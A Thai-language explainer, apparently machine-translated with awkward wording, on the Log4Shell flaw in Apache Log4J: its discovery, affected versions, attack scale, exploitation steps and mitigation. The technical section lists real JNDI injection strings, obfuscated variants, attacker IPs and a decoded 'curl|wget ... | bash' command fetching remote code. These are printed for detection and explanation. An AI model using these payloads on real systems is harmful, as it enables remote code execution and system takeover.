Java พบได้ทุกที่ในอุปกรณ์ที่เกี่ยวข้องกับไอที เช่น โทรศัพท์มือถือ เดสก์ท็อป เซิร์ฟเวอร์ อุปกรณ์ IoT เราเตอร์ เครื่องพิมพ์ เครื่องคัดลอก ฯลฯ ซอฟต์แวร์และเกมยอดนิยมส่วนใหญ่พร้อมกับแอปพลิเคชันองค์กรที่ปรับแต่งเองได้รับการพัฒนาโดยใช้ Java ประมาณการคร่าวๆ ว่ามีอุปกรณ์ 3 พันล้านเครื่องที่ใช้ Java ไลบรารี Java ยกระดับความแข็งแกร่งของ Java ไปอีกระดับ หนึ่งในไลบรารีดังกล่าวคือ Log4J ซึ่งพัฒนาโดย Apache Software Foundation แบบโอเพ่นซอร์ส ไลบรารี Log4J นี้เป็นส่วนสำคัญของเฟรมเวิร์กการบันทึก Java และมีหน้าที่บันทึกข้อความแสดงข้อผิดพลาดของแอปพลิเคชัน
การใช้งานห้องสมุด Log4J
การบันทึกช่วยให้นักพัฒนาเห็นกิจกรรมทั้งหมดที่แอปพลิเคชันกำลังดำเนินการอยู่ และเกือบทุกแอปพลิเคชันซอฟต์แวร์ (แม้กระทั่งบนคลาวด์) จะสร้างบันทึกสำหรับข้อผิดพลาด โดยปกติแล้ว นักพัฒนาจะไม่สร้างระบบการบันทึกของแอปพลิเคชัน (เพื่อไม่ให้สร้างวงล้อขึ้นใหม่) แต่ต้องการใช้ไลบรารีการบันทึกที่สร้างไว้แล้ว (บรรทัดฐานทั่วไปในการเขียนโค้ดและการพัฒนา) และเป็นหนึ่งในการบันทึกยอดนิยม ไลบรารีของ Java คือ Log4J .
ดังนั้น เกือบทุกแอปพลิเคชัน (รวมถึงแอปพลิเคชันของรัฐบาล หน่วยงาน องค์กร Microsoft, Apple, Google เป็นต้น) ที่เขียนด้วยภาษา Java อาจมีห้องสมุดนี้และช่องโหว่ในห้องสมุดดังกล่าวอาจเป็น ฝันร้ายด้านความปลอดภัยทางไซเบอร์ที่เลวร้ายที่สุด และความฝันที่เป็นจริงสำหรับแฮกเกอร์ นอกจากนี้ ไลบรารีนี้เป็นโอเพ่นซอร์ส ดังนั้นจึง ไม่มีตัวเลขอย่างเป็นทางการ เกี่ยวกับจำนวนอุปกรณ์/แอปพลิเคชันที่ใช้ไลบรารีนี้
Log4J ถูกใช้งานโดย แอปพลิเคชั่น ยอดนิยมมากมาย (เช่น Twitter, Apple iCloud), เกม (เช่น Minecraft, Steam) เว็บไซต์ และอีกมากมาย นอกจากนี้ ไลบรารีนี้ยังเป็นส่วนหนึ่งของ เฟรมเวิร์กอื่นๆ เช่น Kafka, Elasticsearch, Flink รายการแอปพลิเคชัน ผลิตภัณฑ์ ปลั๊กอินที่เสี่ยงต่อการถูกโจมตีจาก Log4J เพิ่มขึ้นอย่างต่อเนื่อง
การตรวจจับช่องโหว่ใน Log4J
รายงานฉบับแรก ของช่องโหว่ใน Log4J เริ่มปรากฏบน 1 st ธันวาคม 2021 โดย Chen Zhaojun จากทีม Alibaba Cloud Security ซึ่งเป็นแนวปฏิบัติในการล่าบั๊กแบบมาตรฐานและในฐานะที่เป็น I.T. บุคคล แจ้งมูลนิธิ Apache เกี่ยวกับข้อบกพร่อง (แม้ว่านักล่าแมลงบางคนขายช่องโหว่ดังกล่าวให้กับแฮกเกอร์และช่องโหว่ดังกล่าวจะตรวจไม่พบเป็นเวลาหลายเดือนหรือหลายปี) การตรวจจับ ได้เกิดขึ้นใน Minecraft . ฟีเจอร์แชทของ Minecraft เป็นที่มาของการระบุการใช้ประโยชน์จาก Log4J
อัลกอริธึมการแชทของเกมนั้นใช้ Java API ที่ใช้ไลบรารี Log4J และไลบรารีนี้อนุญาตให้ผู้ไม่ประสงค์ดีหยุดเซิร์ฟเวอร์ Minecraft ลบผู้เล่นทั้งหมด ฯลฯ ในสภาพแวดล้อมที่เอื้ออำนวย ช่องโหว่นี้ถูกจัดการโดย Remote Code Execution อย่างง่ายดาย (RCE) ซึ่งช่วยเพิ่มระดับการคุกคามของช่องโหว่
การปรากฏตัวของช่องโหว่ในห้องสมุด Log4J ได้รับการยอมรับแบบสาธารณะในวันที่ 9 th ธันวาคม 2021 โดย Apache ช่องโหว่นี้ ตั้งชื่อ เป็น Log4Shell และถูก ติดป้ายกำกับ . อย่างเป็นทางการ เป็น CVE-2021-44228 . CVE (C ออมมอน วี ช่องโหว่และ E xposures) ระบบการนับเป็นระบบการตั้งชื่อเพื่อระบุช่องโหว่/การใช้ประโยชน์แต่ละรายการที่ตรวจพบทั่วโลกโดยเฉพาะ
Log4J ถูกจัดประเภทเป็น zero-day (หรือ 0 วัน) ช่องโหว่ ช่องโหว่ซีโร่เดย์หมายความว่าช่องโหว่นั้นตกเป็นเป้าหมายของแฮ็กเกอร์แล้ว แม้กระทั่งก่อนที่นักพัฒนาซอฟต์แวร์จะทราบเกี่ยวกับข้อบกพร่องนี้และมีเวลาซีโร่เดย์ในการติดตั้งแพตช์สำหรับการเอารัดเอาเปรียบ
เวอร์ชันที่ได้รับผลกระทบของไลบรารี Log4J และแพตช์ที่เผยแพร่
Log4J เวอร์ชัน 2.0 ถึง 2.14.1 มีรายงานว่าได้รับผลกระทบจากช่องโหว่ รุ่น Log4J 2.15.0 เป็น แพตช์ดั้งเดิม เปิดตัวสำหรับ CVE-2021-44228 แต่ต่อมาพบช่องโหว่อื่นใน Log4J (ส่วนใหญ่ในการกำหนดค่าที่ไม่ใช่ค่าเริ่มต้น) ที่มีป้ายกำกับว่า CVE-2021-45046 . ช่องโหว่นี้มีผลกระทบด้านความปลอดภัย จาก 3.7 (ค่อนข้างต่ำเมื่อเทียบกับช่องโหว่เดิม) จากนั้น Apache Foundation ก็เปิดตัว Log4j เวอร์ชัน 2.16 เพื่อแก้ไขช่องโหว่ในการแก้ไขดั้งเดิม
ขณะที่เรากำลังดำเนินการกับบทความนี้ แพตช์อื่นของ Log4J เวอร์ชัน 2.17 สำหรับช่องโหว่ของ Log4J ที่มีป้ายกำกับว่า CVE-2021-45105 (การโจมตีแบบ Denial-of-Service/DoS) ออกจาก Apache ข้อมูลเกี่ยวกับแพตช์มีอยู่ในหน้าความปลอดภัยอย่างเป็นทางการของ Log4J ของเว็บไซต์ Apache
ผู้อ่านหลายคนอาจคิดว่าเมื่อมีการใช้โปรแกรมแก้ไขกับ Log4J แล้วทำไมจึงคลุมเครือ? แม้ว่าไลบรารี Log4J เวอร์ชันล่าสุดจะได้รับการแพตช์แล้ว แต่แอปพลิเคชัน ผลิตภัณฑ์ ปลั๊กอิน ฯลฯ ที่ยังคงใช้ Log4J เวอร์ชันเก่ายังคงไม่ได้รับการแพตช์ นอกจากนี้ยังมีกรณีของแอปพลิเคชันที่กลายเป็นซอฟต์แวร์ละทิ้งและใช้ Log4J เวอร์ชันที่มีช่องโหว่ Abandonware เป็นผลิตภัณฑ์ซอฟต์แวร์ที่ถูกละเลย/ไม่ได้พัฒนาเพิ่มเติมโดยเจ้าของ/ผู้ผลิต และไม่ได้รับการสนับสนุนอย่างเป็นทางการ
ขนาดของ Log4J Exploit
ในระดับผลกระทบด้านความปลอดภัย การใช้ประโยชน์จาก Log4J สามารถจัดประเภทได้อย่างง่ายดายเป็น 10/10 (ระดับความเสี่ยงสูงสุดที่เป็นไปได้) ขนาดของช่องโหว่นี้มีขนาดใหญ่มากจนผู้เล่นหลักทั้งหมด (Microsoft, Google, Cisco เป็นต้น) พร้อมด้วยรัฐบาลและ Apache (ผู้พัฒนา Log4J) กำลังทำงานทั้งกลางวันและกลางคืนเพื่อแก้ไขช่องโหว่ สามารถดูข้อกังวลและการตอบสนองของบริษัทเหล่านี้ได้บนหน้าเว็บอย่างเป็นทางการหรือบัญชีโซเชียลมีเดีย ความรุนแรงของช่องโหว่สามารถสังเกตได้เมื่อ Jen Easterly ผู้อำนวยการ CISA (สหรัฐอเมริกา C ybersecurity และ ฉัน nfras โครงสร้าง A gency) กล่าวถึงการใช้ประโยชน์จาก Log4J เป็น
เรื่องร้ายแรงที่สุดเรื่องหนึ่งที่ฉันเคยเห็นมาในอาชีพการงาน หากไม่จริงจังที่สุด
และด้วยเหตุรุนแรงนี้ ผู้นำในอุตสาหกรรมไอทีจึงคิดว่า Log4J ความอ่อนแอจะคอยหลอกหลอน อุตสาหกรรมเป็นเวลาหลายปี ที่จะมาถึง
เหตุใดจึงไม่ตรวจพบช่องโหว่ Log4J ก่อนหน้านี้
ผู้ใช้หลายคนมีคำถามว่าเหตุใดจึงตรวจไม่พบช่องโหว่ขนาดดังกล่าวตั้งแต่เนิ่นๆ เนื่องจากไลบรารี Log4J พร้อมให้บริการตั้งแต่ปี 2013 แม้ว่าใน USA 2016 BlackHatEvents มีการนำเสนอช่องโหว่ของ Log4J ซึ่งกล่าวถึง JNDI ว่าเป็นเวกเตอร์การโจมตี ในขณะที่ช่องโหว่ในปัจจุบันคือประเภทของการแทรกเทมเพลตที่อนุญาตให้ใช้ JNDI
แต่ในแอพพลิเคชั่นซอฟต์แวร์ การหาช่องโหว่นั้นยากต่อการตรวจจับเมื่อมีเทคโนโลยีใหม่เกิดขึ้น การเปลี่ยนแปลงของอุตสาหกรรม (เช่น ซอฟต์แวร์แอปพลิเคชันก่อนการประดิษฐ์อินเทอร์เน็ตและหลังอินเทอร์เน็ตเป็นคนละเรื่องกัน) ตามที่กล่าวไว้ก่อนหน้านี้ ไลบรารี Log4J เวอร์ชันต่ำกว่า 2.0 จะไม่ได้รับผลกระทบ (มีปัญหาร่วมกัน) ดังนั้น ความก้าวหน้าทางเทคโนโลยี เป็นสาเหตุที่ทำให้ตรวจพบช่องโหว่นี้ได้
โจมตีโดยใช้ช่องโหว่ Log4J
ด้วยช่องโหว่ใหม่ในเมือง แฮ็กเกอร์จึงตั้งเป้าไปที่เครื่องมือของพวกเขาเพื่อใช้ประโยชน์จากช่องโหว่นี้ แรกพบมัลแวร์ที่กำหนดเป้าหมายการเจาะช่องโหว่คือ CryptoMiners (ที่ขุด crypto-currency จากเครื่องที่ได้รับผลกระทบ) ตามด้วย Cobalt Strike (การทดสอบการเจาะระบบ) เพื่อขโมยชื่อผู้ใช้/รหัสผ่านจากระบบที่ติดไวรัส จากนั้นเรือก็เข้าร่วมโดยมัลแวร์เรียกค่าไถ่อย่าง Khonsari และรายการกำลังดำเนินอยู่ . และสุดท้ายแต่ไม่ท้ายสุด กลุ่มแฮ็คที่ได้รับการสนับสนุนจากรัฐ โดยประเทศต่าง ๆ ตั้งเป้าไปที่คู่แข่งโดยใช้ประโยชน์จากช่องโหว่นี้ นี่คือแผนที่จาก ESET เกี่ยวกับรายงานการโจมตี (ปริมาณการโจมตีสูงสุดในสหรัฐอเมริกา สหราชอาณาจักร เยอรมนี ตุรกี และเนเธอร์แลนด์)
ถึงตอนนี้มี 1800000 บวก รายงานเหตุการณ์ (และนับไม่ถ้วน) ของความพยายามที่จะใช้ประโยชน์จาก Log4J โดยแฮกเกอร์ นอกจากนี้ เกือบ 40 เปอร์เซ็นต์ของเครือข่ายองค์กร ถูกโจมตีโดยใช้ช่องโหว่นี้ ความพร้อมใช้งานของ รหัสใช้ประโยชน์ ใน ไซต์ต่างๆ ได้ทำให้เรื่องเลวร้ายที่สุด นอกจากนี้ สิ่งต่างๆ ก็ซับซ้อนขึ้นเนื่องจากการหาประโยชน์สามารถกำหนดเป้าหมาย โดย HTTP และ โปรโตคอล HTTPS .
แต่นั่นเป็นเพียงจุดเริ่มต้นราวกับว่า เวิร์มมัลแวร์ การกำหนดเป้าหมายช่องโหว่นั้นได้รับการพัฒนา จากนั้นผลกระทบอาจมากกว่าช่องโหว่เดิม เนื่องจากเวิร์มคอมพิวเตอร์เป็นซอฟต์แวร์แบบสแตนด์อโลนที่จำลองตัวเองอย่างเงียบๆ และแพร่กระจายผ่านเครือข่าย (เช่น เวิร์มโค้ดเรด ในยุค 2000 หรือ WannaCry ในปี 2560)
มันทำงานอย่างไร
ไลบรารี Log4J (พร้อมกับเฟรมเวิร์กการบันทึก) จะคอยติดตามว่าแอปพลิเคชันกำลังทำอะไรอยู่และเพื่อใช้ช่องโหว่ ผู้โจมตีเพียงบังคับ รายการบันทึกใน Log4J โดยงานง่ายๆ เช่น ตั้งค่าชื่อผู้ใช้ของบัญชีหรือส่งสตริงรหัสในอีเมล การสร้างรายการบันทึกของแอปพลิเคชันโดยผู้โจมตีในเฟรมเวิร์กการบันทึกอาจแตกต่างกันไปในแต่ละแอปพลิเคชัน (เช่น ใน Minecraft ใช้คุณสมบัติการแชท) หรือคอมพิวเตอร์กับคอมพิวเตอร์ เมื่อสร้างรายการบันทึกที่มีรหัสที่เป็นอันตรายแล้ว ผู้โจมตีสามารถโหลดรหัสที่เป็นอันตรายไปยังเครื่อง ใช้ควบคุมระบบทั้งหมด , แพร่กระจายผ่านเครือข่าย, ติดตั้งมัลแวร์, เปิดการโจมตีรูปแบบอื่นหรือไม่ก็ตาม
ส่วนที่อันตรายที่สุดของช่องโหว่นี้คือ “ตรวจสอบสิทธิ์ล่วงหน้า ” ซึ่งหมายความว่าแฮ็กเกอร์ไม่ต้องลงชื่อเข้าใช้ระบบที่มีช่องโหว่เพื่อควบคุมระบบ
การหาประโยชน์สามารถอธิบายได้ในขั้นตอนต่อไปนี้ :
- การเจาะระบบ ถูกเรียกโดยแฮ็กเกอร์ โดยส่งเพย์โหลดที่เป็นอันตรายผ่านอินพุตที่ผู้ใช้ระบุ เพย์โหลดนี้อาจเป็นส่วนหัว HTTP/HTTPS หรือสิ่งอื่นใดที่บันทึกโดยแอปพลิเคชันที่มีช่องโหว่โดยใช้ Log4j
- แอปพลิเคชัน บันทึก เพย์โหลดที่เป็นอันตรายลงในข้อมูล
- ห้องสมุด Log4J พยายามตีความ การป้อนข้อมูลของผู้ใช้ที่เป็นอันตรายและ เชื่อมต่อกับเซิร์ฟเวอร์ที่ควบคุมโดยแฮ็กเกอร์ (เช่น LDAP)
- เซิร์ฟเวอร์ ที่เป็นอันตราย (เช่น LDAP) ส่งคืนการตอบกลับ ที่สั่งให้แอปพลิเคชัน โหลด ไฟล์ Java คลาสระยะไกล .
- แอปพลิเคชันดาวน์โหลดและ เรียกใช้งานรีโมต ไฟล์ ซึ่งเปิดประตูให้แฮ็กเกอร์ทำความชั่วได้
กระบวนการนี้อธิบายไว้ในแผนภูมิต่อไปนี้:
คุณปลอดภัยไหม
ดังนั้น หลังจากอ่านข้างต้นแล้ว คำถามเข้ามาในใจของผู้ใช้ว่า ฉันปลอดภัยไหม ขึ้นอยู่กับ . หากผู้ใช้เป็นส่วนหนึ่งขององค์กรที่ใช้ไลบรารี Java Log4J เขาและองค์กรจะตกอยู่ในความเสี่ยง หากผู้ใช้หรือองค์กรของเขาไม่ได้ใช้สิ่งใดๆ ที่อิงกับ Java (ไม่น่าเป็นไปได้มากที่สุด) แต่ถ้าการพึ่งพาแอปพลิเคชันระดับองค์กร 3 rd ยูทิลิตีหรือแอปพลิเคชันของผู้ขายรายอื่นใช้ Java ดังนั้นผู้ใช้หรือองค์กรของเขาอาจตกอยู่ในความเสี่ยง คุณสามารถค้นหาอินเทอร์เน็ตสำหรับแอปพลิเคชันที่คุณใช้หากมีความเสี่ยง
ต้องทำอย่างไร
ตอนนี้ คำถามสุดท้าย จะทำอย่างไรถ้ามีช่องโหว่ของ Log4J อยู่ในระบบหรือองค์กรของคุณ
สำหรับผู้ใช้
ผู้ใช้ทั่วไป ไม่สามารถทำอะไรได้มาก เกี่ยวกับช่องโหว่นี้ ยกเว้นเพื่อให้แอปพลิเคชันของเขา (โดยเฉพาะแอปพลิเคชันป้องกันไวรัส/มัลแวร์) อุปกรณ์หรือระบบปฏิบัติการเป็นปัจจุบัน หากผู้ใช้ใช้รูปแบบของ ละทิ้งแวร์ จากนั้นการถอนการติดตั้งอาจทำให้ระบบของเขาปลอดภัย นอกจากนี้ หากคุณใช้บริการออนไลน์ (เช่น สตรีม) จากนั้นตรวจสอบให้แน่ใจว่าพวกเขาได้ใช้แพตช์ (ตรวจสอบหน้าเพจอย่างเป็นทางการหรือโซเชียลมีเดีย) เป็นแนวทางสำหรับผู้ใช้ทั่วไป
สำหรับองค์กร
ระยะทางในการปกป้ององค์กรจากการใช้ประโยชน์จาก Log4J อาจแตกต่างกันไปในแต่ละองค์กร . ขั้นตอนแรกควรทำการตรวจสอบ ของโครงสร้างพื้นฐานทั้งหมด การพึ่งพาแอปพลิเคชัน 3 rd ยูทิลิตี้ผู้ขายของบุคคลที่หรือพนักงานระยะไกลเพื่อดูว่ามีช่องโหว่อยู่หรือไม่ การตรวจสอบควรมองหาบันทึกของแอปพลิเคชันสำหรับรูปแบบหรือที่มาของรูปแบบต่อไปนี้:
${jndi:ldap:/} ${jndi:ldaps:/} ${jndi:rmi:/} ${jndi:dns:/} ${jndi:iiop:/}
องค์กรยังสามารถใช้การไล่ล่าภัยคุกคามอัตโนมัติ และ เครื่องมือตรวจสอบ (เช่น Log4J Vulnerability Tester โดย TrendMicro) เพื่อค้นหาแอปพลิเคชันดังกล่าวที่มีช่องโหว่ของ Log4J นักพัฒนาองค์กรควรได้รับมอบหมายให้ตรวจสอบโค้ดของตนเพื่ออ้างอิงถึงช่องโหว่ของ Log4J นอกจากนี้ อุปกรณ์เชื่อมต่ออินเทอร์เน็ต ขององค์กรควรได้รับการแก้ไขโดยเร็วที่สุดเพื่อหลีกเลี่ยงภัยพิบัติ องค์กรควรดำเนินการโดยเร็วที่สุดเท่าที่องค์กรต้องแข่งขันกับคนเลวที่นำหน้าผู้อื่นอย่างน้อย 7 วันเพื่อกำหนดเป้าหมายช่องโหว่
ประการที่สอง ไฟร์วอลล์เว็บแอปพลิเคชัน ควรวางไว้อย่างเร็วที่สุดเพื่อปกป้องทรัพยากรและข้อมูลขององค์กร ผู้เล่นรายใหญ่เกือบทุกคน (Microsoft, Oracle, Apple, Google, Amazon ฯลฯ) มีบริการที่อัปเดตและเผยแพร่แพตช์สำหรับผลิตภัณฑ์ของตน ดังนั้น องค์กรควรตรวจสอบให้แน่ใจว่าได้อัปเดตแอปพลิเคชันและบริการทั้งหมดที่ใช้นั้นได้รับการแก้ไขให้เป็นเวอร์ชันล่าสุด นอกจากนี้ องค์กรองค์กรควรจำกัดการรับส่งข้อมูลทางอินเทอร์เน็ตที่ไม่จำเป็น เพื่อลดการสัมผัสซึ่งจะลดระดับความเสี่ยง
แง่มุมทางเทคนิคของช่องโหว่
จนถึงตอนนี้ เราพยายามครอบคลุมช่องโหว่ของ Log4J ในแง่คนธรรมดา แต่ในส่วนนี้ เราจะพูดถึงช่องโหว่ของ Log4J ในข้อกำหนดทางเทคนิคของนักพัฒนา ช่องโหว่นี้ถูกโจมตีโดยใช้ JNDI (Java Naming และ Directory Interface) ค้นหา ซึ่งอาจส่งผลให้ปฏิเสธการให้บริการ (DoS) การโจมตี เมื่อใดก็ตามที่ JNDI พบนิพจน์ เช่น ${a_Java_expression} โปรแกรมจะค้นหาค่าของนิพจน์นั้นและแทนที่ Log4J รองรับการค้นหา คือ sys, JNDI, env, java, ล่างและบน โปรโตคอลที่รองรับโดยการค้นหา Log4J คือ LDAP, DNS, RMI และ IIOP ในการแทรกรายการลงในบันทึกของแอปพลิเคชัน ผู้โจมตีอาจใช้คำขอ HTTP ไปยังเซิร์ฟเวอร์และเมื่อได้รับคำขอแล้ว การค้นหา Log4J จะดาวน์โหลดและดำเนินการ malware.class (โฮสต์บนเซิร์ฟเวอร์ LDAP ที่ควบคุมโดยแฮ็กเกอร์) หากแอตทริบิวต์ ObjectClass ในวัตถุ LDAP ถูกกำหนดเป็น javaNamingReference และมีแอตทริบิวต์ดังต่อไปนี้:
javaCodebase javaFactory javaClassName
จากนั้น ตัวโหลดอ็อบเจ็กต์ LDAP จะแยกเนื้อหาของ URL ที่เป็นอันตรายตามที่กำหนดไว้ใน javaCodebase และจะสร้างวัตถุที่เกี่ยวข้อง ใน ความทรงจำ . เมื่อวิธีการเริ่มต้นหรือเป็นทางการมากขึ้น ตัวสร้างของคลาสที่กล่าวถึงจะถูกดำเนินการ โค้ดที่ไม่น่าเชื่อถือ จากแหล่งที่ไม่น่าเชื่อถือ จะทำงานบนเครื่องที่ติดไวรัส
นิพจน์พื้นฐาน ที่ผู้โจมตีสามารถฉีดเข้าไปใน Log4J ได้คือ
${jndi:ldap://{attacker_website}/a}
การดำเนินการนี้จะดำเนินการ รหัสที่เป็นอันตราย เจ้าภาพ เมื่อ:
https://{attacker_website}/{malicious.class}
เมื่อโค้ดที่เป็นอันตรายทำงานสำเร็จ เซิร์ฟเวอร์จะตีความสตริงที่นำไปสู่คำสั่งเชลล์ในรูปแบบต่างๆ เช่น JavaScript, Java Class, Unix shell เป็นต้น
อีกปัจจัยที่เพิ่มความรุนแรงของช่องโหว่คือความสามารถในการซ้อน ของ บล็อก Java ${} ซึ่งจะทำให้การตรวจจับสายที่น่าสงสัยยากขึ้นมาก ตัวอย่างเช่น แทนที่จะใช้ ${ jndi:} แฮกเกอร์สามารถใช้ ${${lower:jn}${lower:di}} ซึ่งจะทำให้แฮกเกอร์สามารถดึงข้อมูล/ข้อมูลจากเซิร์ฟเวอร์ระยะไกลได้
คำถามที่น่าสนใจที่อาจเข้ามาในหัวของผู้อ่านคือ จะวางโค้ดไว้ที่ใด ที่สามารถลงจอดในห้องสมุด Log4J? แอปพลิเคชั่นจำนวนมากบันทึกทุกอย่างที่เกิดขึ้นรวมถึงคำขอที่เข้ามาเช่นส่วนหัว HTTP (เช่น User-Agent หรือ X-Forwarded-For), URI, เนื้อหาคำขอ ฯลฯ ส่วนที่แย่ที่สุดคือผู้โจมตีสามารถส่งคำขอดังกล่าวไปยังแอปพลิเคชัน logger จากอินเทอร์เน็ตทั้งหมดแล้วสามารถให้คำสั่งควบคุมเครื่องที่ติดไวรัสได้ กระบวนการนี้มีความชัดเจนในแผนภาพต่อไปนี้:
ต่อไปนี้เป็นตัวอย่าง ของ URL ที่ระบุ จนถึงตอนนี้เพื่อเริ่มต้นประเภทของการโจมตี โดยใช้ไลบรารี Log4J:
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a} ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com} ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo} ${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a} ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}}
ต่อไปนี้คือส่วนหนึ่งของ บันทึกเซิร์ฟเวอร์ HTTP แสดงความพยายามใช้ประโยชน์จาก Log4J:
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"
สตริงเบส64 ในบันทึกด้านบนจะถอดรหัสเป็น:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
การดำเนินการนี้จะดึงโค้ดที่เป็นอันตรายจาก 45.155.xxx.xxx และเรียกใช้สคริปต์ในภายหลังโดยใช้ Bash
สุดท้ายนี้อยากให้ผู้อ่านระมัดระวัง ต่อต้านภัยคุกคามนี้และไม่ควรมองข้ามเพราะมีเหตุผลที่อินเทอร์เน็ตถูกไฟไหม้เนื่องจากช่องโหว่นี้